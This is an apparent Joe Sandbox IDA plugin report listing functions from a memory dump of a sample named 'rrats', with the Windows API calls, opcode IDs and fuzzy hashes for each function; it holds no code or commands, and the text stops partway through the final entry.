Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 36875bbd1d41359cb48bd6d6f47aa791c3bc1843f111ef685cf25e78da402bd5
Instruction ID: c239820125071563d5b0fb2beadc8dd3405bb22c2b4d20d196b34534715283a4
Opcode Fuzzy Hash: 36875bbd1d41359cb48bd6d6f47aa791c3bc1843f111ef685cf25e78da402bd5
Instruction Fuzzy Hash: 19C0123205C300BECB010BB4DC09E2BBBACABA9312F04C90CB0A9C0260C238C120DB62

Function 00CA12D3 Relevance: 3.0, APIs: 2, Instructions: 8COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00CA12E1
KiUserCallbackDispatcher.NTDLL(00000000), ref: 00CA12E8

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: CallbackDispatcherItemUser
String ID:
API String ID: 4250310104-0
Opcode ID: faa60721a992c0b10927e51ebe193e5afcf9d23820ef9fd4b03f29b4b344dc32
Instruction ID: fcb29f8f3c9ff7aafbf5272f273a514b75e544f3651fd474ca12207aa77eb708
Opcode Fuzzy Hash: faa60721a992c0b10927e51ebe193e5afcf9d23820ef9fd4b03f29b4b344dc32
Instruction Fuzzy Hash: 33C00276408340BECB015BA09C0892BBBA9AB99311B04C809B1A9C0220C6358520DB22

Function 00CA1A04 Relevance: 1.8, APIs: 1, Instructions: 312COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA1A09

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 06f589250ea5cd0b4b557afc9cf1ca550cb546139e579e3163468bf61aa8c346
Instruction ID: 8cb0917ee35e81019c97e0b45078d89fc6d4bb154380658aa573dedea478b2ee
Opcode Fuzzy Hash: 06f589250ea5cd0b4b557afc9cf1ca550cb546139e579e3163468bf61aa8c346
Instruction Fuzzy Hash: 95C1B270A002569FEF15DF68C498BAD7BA5AF16318F0C01BAEC559F392DB309A44CB61

Function 00CA3BBA Relevance: 1.7, APIs: 1, Instructions: 177COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA3BBF

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 0256b303a4e6d9c0beff14f4261af1548223997c56012ab4d2b8ae1655494651
Instruction ID: 60fe286bca3253e9f081afe30bd0c40e12f8b656a512a398412c86309ded017b
Opcode Fuzzy Hash: 0256b303a4e6d9c0beff14f4261af1548223997c56012ab4d2b8ae1655494651
Instruction Fuzzy Hash: C371E371500B869ECB35DB70CC659E7B7E9AF16308F40092EF5AB87241DA326A84DF11

Function 00CA8284 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA8289

Part of subcall function 00CA13DC: __EH_prolog.LIBCMT ref: 00CA13E1

Part of subcall function 00CAA56D: FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00CAA598

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog$CloseFind
String ID:
API String ID: 2506663941-0
Opcode ID: ed78d59c1bad5442aca094409eec97ae0a1d768379d413f4cc84c72b54b1d47a
Instruction ID: f2149ea4ffa1f45331ee09f66ef75a1c66fa2eb9167eda1bdd9c3b2fc1859960
Opcode Fuzzy Hash: ed78d59c1bad5442aca094409eec97ae0a1d768379d413f4cc84c72b54b1d47a
Instruction Fuzzy Hash: BB41D97194465A9BDF20DBA0CC55BEAB7B8AF05308F4404EBE59A97093EB705FC8DB10

Function 00CA13E1 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA13E1

Part of subcall function 00CA5E37: __EH_prolog.LIBCMT ref: 00CA5E3C

Part of subcall function 00CACE40: __EH_prolog.LIBCMT ref: 00CACE45

Part of subcall function 00CAB505: __EH_prolog.LIBCMT ref: 00CAB50A

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1b5e8fee8dd210be994fb1259bdad8dc7de02b03f3c1f017d35dbe54f0d59fbf
Instruction ID: fbde5d6e3b03f00f26118e1160291529480a6ec351ab9a8ee8adb268dd89c61c
Opcode Fuzzy Hash: 1b5e8fee8dd210be994fb1259bdad8dc7de02b03f3c1f017d35dbe54f0d59fbf
Instruction Fuzzy Hash: 054147B0905B419EE724CF798885AE6FBE5BF19304F54492EE5FE83282CB316654DB10

Function 00CA13DC Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA13E1

Part of subcall function 00CA5E37: __EH_prolog.LIBCMT ref: 00CA5E3C

Part of subcall function 00CACE40: __EH_prolog.LIBCMT ref: 00CACE45

Part of subcall function 00CAB505: __EH_prolog.LIBCMT ref: 00CAB50A

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 2efb44216400c9672d5ad5f3987943baf1283b97276c84d418fffecc37ad0f23
Instruction ID: 5574314b0bf98540ad5c99fa6bb88a3bb48103ee7335f4a1cb3b001bac8be482
Opcode Fuzzy Hash: 2efb44216400c9672d5ad5f3987943baf1283b97276c84d418fffecc37ad0f23
Instruction Fuzzy Hash: 714168B0905B419EE724CF798885AE7FBE5BF19300F54492ED5FE83282CB316654DB10

Function 00CB359E Relevance: 1.6, APIs: 1, Instructions: 89COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CB35A3

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 9beb1f1dd564a1f5a85941504df7241389991e0d412ed4b1007bee93af85dee3
Instruction ID: 7e9003a1a61ed48475332f1612a3ccb6628f78654334a2b08ea9166d3db3cb6f
Opcode Fuzzy Hash: 9beb1f1dd564a1f5a85941504df7241389991e0d412ed4b1007bee93af85dee3
Instruction Fuzzy Hash: 8621B1B1E40255ABDB149F79CC41AEA77A8FB19714F14023EE516EB781D7B09E00C6A8

Function 00CBB093 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CBB098

Part of subcall function 00CA13DC: __EH_prolog.LIBCMT ref: 00CA13E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 73a5b0466e4787edf03a81929f299e0877f41f5d56fc2b816c4237ab1cf318f1
Instruction ID: 7b94e55d2d1876aebde0e1fccbc3e4102df2a8aefeaf04ebcdc1ced736083634
Opcode Fuzzy Hash: 73a5b0466e4787edf03a81929f299e0877f41f5d56fc2b816c4237ab1cf318f1
Instruction Fuzzy Hash: BD316B75C0024AAECF15DFA9D851AEEBBB4AF09304F14449EE80AB7242D775AF04DB61

Function 00CCAC98 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00CCACF8

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: c1f79f39034a3761fef784f032f43102851288a8ca8eaa6258bee92c9f76841e
Instruction ID: 32c009f9b490696ba17fd7d7969eb92c8338e2c2280fb467e6e42d83479ae3e4
Opcode Fuzzy Hash: c1f79f39034a3761fef784f032f43102851288a8ca8eaa6258bee92c9f76841e
Instruction Fuzzy Hash: 84113A33A012396F8F219F1DDC88F5A7395EB843287164225FD26EB244D731DD0187D2

Function 00CA9215 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA921A

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: eda4e6d7afcc9ffffb5099c448ad591eebaee2ceb9efbafc7b9d266e5e0ec1d9
Instruction ID: d8b47f7235fbd6ecf5f3cb8216032b308d2a50839162fba735ace37f78154178
Opcode Fuzzy Hash: eda4e6d7afcc9ffffb5099c448ad591eebaee2ceb9efbafc7b9d266e5e0ec1d9
Instruction Fuzzy Hash: 1801A933D00526ABCF11AB68CC82ADEB731FF8A754F054215F813B7151DA348D00D7A0

Function 00CCC479 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00CCB136: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00CC9813,00000001,00000364,?,00CC40EF,?,?,00CE1098), ref: 00CCB177

_free.LIBCMT ref: 00CCC4E5

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction ID: 872a585359015c3ddd06e0a6c8a157f4de8b4457ce9ebc01a2bedffffbb2e35f
Opcode Fuzzy Hash: 7bcb57144d722b3f6fb3f884bcb86c333c53e20e4031edd189f970cc783d8b92
Instruction Fuzzy Hash: 4A01D6726003056BE335CE69D885E6AFBEDEB85370F25451DE59893281EA30A905C764

Function 00CCB136 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00CC9813,00000001,00000364,?,00CC40EF,?,?,00CE1098), ref: 00CCB177

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d12130144de017966c909c29c09a7b099cdb54f8589aae662ab50801ba169cb0
Instruction ID: 7e59f13d82fe2537bf3b66a083ba31c1ed47a466a1898d9e4eca3c030cafff26
Opcode Fuzzy Hash: d12130144de017966c909c29c09a7b099cdb54f8589aae662ab50801ba169cb0
Instruction Fuzzy Hash: 97F0543250556567DB215AA2EC1BF9F7748EB41770F1D8219F81896190CB21DE0196E0

Function 00CC3C0D Relevance: 1.5, APIs: 1, Instructions: 34libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00CC3C3F

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 28b28a942fb19f75631541f16bb5e5dc503f3e9f6f22e3d58120cbae4dbbb5c7
Instruction ID: ef1a07cb5b562f6e9f0231cac67ffb6d77b70a2be5b11eb45af418ff1f576b68
Opcode Fuzzy Hash: 28b28a942fb19f75631541f16bb5e5dc503f3e9f6f22e3d58120cbae4dbbb5c7
Instruction Fuzzy Hash: 57F0A7362002969FCF124E69FC04F9E7799EF01B60714C229FA25E7190DB31DB20D7A0

Function 00CC8E06 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,00CC4286,?,0000015D,?,?,?,?,00CC5762,000000FF,00000000,?,?), ref: 00CC8E38

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e474eaf85e22324db0a9141ed0d9c102efd4751cd596c73c6598afd2f3de9be5
Instruction ID: e89f3fcff941e8464eb54fcee098f40e37034a79d347675917e07362885205e9
Opcode Fuzzy Hash: e474eaf85e22324db0a9141ed0d9c102efd4751cd596c73c6598afd2f3de9be5
Instruction Fuzzy Hash: D3E06D3960622566EB7126A6DC09F9F76489B817B4F15012DEC2896592CF21CE0592E1

Function 00CA5ABD Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CA5AC2

Part of subcall function 00CAB505: __EH_prolog.LIBCMT ref: 00CAB50A

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 9c9fc3c2ab68bda1f2d31a6a3680170e5fea35bb9611feab4a938128cc7e4804
Instruction ID: 88471ded6a780e408572fee993c4f5c9d3ac52ae9b0f5c1d289840b6051a24f5
Opcode Fuzzy Hash: 9c9fc3c2ab68bda1f2d31a6a3680170e5fea35bb9611feab4a938128cc7e4804
Instruction Fuzzy Hash: C3018C30810694DAD729E7B8C0417DEFBB49F64308F60848EA85653283CBB41B08E7A2

Function 00CAA56D Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00CAA69B: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00CAA592,000000FF,?,?), ref: 00CAA6C4
Part of subcall function 00CAA69B: FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,00CAA592,000000FF,?,?), ref: 00CAA6F2
Part of subcall function 00CAA69B: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00CAA592,000000FF,?,?), ref: 00CAA6FE

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00CAA598

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: 7271c7d6d5f472a0c76357ae583676ebad3d6433865c57dd79861e3da53750a2
Instruction ID: c765d1c8c006efb9ed904824350b9851f5e24886d95b075237d32bd962d63aaf
Opcode Fuzzy Hash: 7271c7d6d5f472a0c76357ae583676ebad3d6433865c57dd79861e3da53750a2
Instruction Fuzzy Hash: C5F08231409791ABCB225BB48904BCBBB906F1B339F048A4AF1FD52196C37554A4EB23

Function 00CB0E08 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00CB0E3D

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: 70a640acfef662f8083a73cc77403ffc70164b952ab47a18e747d8537e916d56
Instruction ID: 730de0e4c3629d45d0d21c6d4d8cebfffe0f1c59a2a67c81a4f5bb9175081c69
Opcode Fuzzy Hash: 70a640acfef662f8083a73cc77403ffc70164b952ab47a18e747d8537e916d56
Instruction Fuzzy Hash: D7D02B306010D517DF11372828757FF26068FC7324F0C0066F8855B283CF544C82B272

Function 00CBA626 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00CBA62C

Part of subcall function 00CBA3B9: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00CBA3DA

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
